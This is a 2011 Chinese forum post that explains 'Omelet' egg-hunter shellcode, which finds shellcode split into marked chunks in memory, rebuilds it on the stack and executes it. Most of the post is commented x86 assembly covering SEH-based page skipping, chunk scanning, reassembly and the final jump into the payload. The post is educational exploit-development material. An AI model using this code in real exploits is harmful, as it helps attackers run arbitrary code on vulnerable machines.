-
-
[原创]Shellcode分段执行技术原理
-
发表于:
2011-2-9 16:05
12464
-
作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
前言
由于在实际溢出利用中,我们可能会遇到内存中没有足够的空间来存放我们的shellcode,但我们又可以控制多块小内存空间的内容,那些此时我们就可使用shellcode分段执行技术来进行利用,这种方法在国外被称为“Omelet Shellcode”,属于egg hunt shellcode的一种形式,它先在用户地址空间中寻找与其相匹配的各个小内存块(egg),然后再将其重构成一块大块的shellcode,最后执行它。此项技术最初是由荷兰著名黑客SkyLined在其主页上公布的(具体代码参见附件),该黑客先前就职于Microsoft,但于2008年初转入Google,同时他也是著名的字母数字型shellcode编码器Alpha2 / Alpha3的开发者。
原理分析
将Shellcode拆分成固定大小的多个代码块,各个代码块中包含有其字节大小size,索引值index,标记marker(3 字节)和数据内容data,如图1所示:
图1
当egghunter代码开始执行时,它会在用户内存空间中(0x00000000~0x80000000)搜索这些被标记的小块,然后在内存中重构成最初的shellcode并执行它。而当shellcode执行时,它还会安装SEH以处理访问违例时的情况。若出现访问违例,则SEH handler会将地址与0xFFF进行或运算,然后再加1,相当于进入下一内存页,以跳过不可读取的内存页。如果搜索的内存地址大于0x7FFFFFFF,那么终止搜索,并在内存中重构shellcode用于执行,否则重置栈空间,防止因递归进行异常处理而将栈空间耗尽,它会重新设置SEH handler并继续搜索内存。相应代码如下:
reset_stack:
; 重置栈空间以防止递归进行异常处理时耗尽栈空间,并设置自己的异常处理例程以处理扫描内存时出现的访问违例情况
XOR EAX, EAX ; EAX = 0,并作为计数器
MOV ECX, [FS:EAX] ; ECX = SEH结构链表
find_last_SEH_loop:
MOV ESP, ECX ; ESP = SEH结构
POP ECX ; ECX = 下一个SEH结构指针
CMP ECX, 0xFFFFFFFF ; 判断是否是最后一个SEH结构
JNE find_last_SEH_loop ; 不是则跳走并继续查找
POP EDX ; 最后一个SEH结构中的异常处理例程handler
CALL create_SEH_handler ; 自定义SEH handler
SEH_handler:
POPA ; ESI = [ESP + 4] -> struct exception_info
LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address
POP EAX ; EAX = exception address 0x????????
OR AX, 0xFFF ; EAX = 0x?????FFF
INC EAX ; EAX = 0x?????FFF + 1 -> next page
JS done ; EAX > 0x7FFFFFFF ===> done
XCHG EAX, EDI ; EDI => next page
JMP reset_stack
create_SEH_handler:
PUSH ECX ; 指向下一个SEH结构,这里为0xFFFFFFFF
MOV [FS:EAX], ESP ; 设置当前的SEH为自定义的SEH_handler
CLD ; 清除方向标志位DF,从0开始扫描内存
scan_loop:
MOV AL, egg_size ; EAX = egg_size
egg_size_location equ $-1 - $$
REPNE SCASB ; 从地址0x00000000开始循环扫描以egg_size字节开头的内存块
PUSH EAX ; 找到后保存egg_size
MOV ESI, EDI ; ESI = 相匹配内存块的地址
LODSD ; EAX = II M2 M3 M4,索引值(1字节)与标记值(3字节)
XOR EAX, (marker << 8) + 0xFF ; EAX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index
marker_bytes_location equ $-3 - $$
CMP EAX, BYTE max_index ; 检测EAX值是否小于 max_index
max_index_location equ $-1 - $$
JA reset_stack ; 不是则跳走并继续搜索内存
POP ECX ; ECX = egg_size
IMUL ECX ; EAX = egg_size * egg_index == egg_offset
; 这里是有带符号相乘,由于ECX * EAX总小于0x1000000,所以EDX=0
ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode.
XCHG EAX, EDI
copy_loop:
REP MOVSB ; 将匹配的内存块复制到栈空间以重构成完整的shellcode
MOV EDI, ESI ; EDI指向当前匹配内存块的末尾,在拷贝完第一块内存块后继续搜索第二块,
; 以此类推,直至所有的内存块全部搜索到并复制到栈上
最后就是跳到栈底去执行重构后的shellcode:
done:
XOR EAX, EAX ; EAX = 0
CALL [BYTE FS:EAX + 8] ; 从栈中shellcode的起始地址开始执行
773030<seq>
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)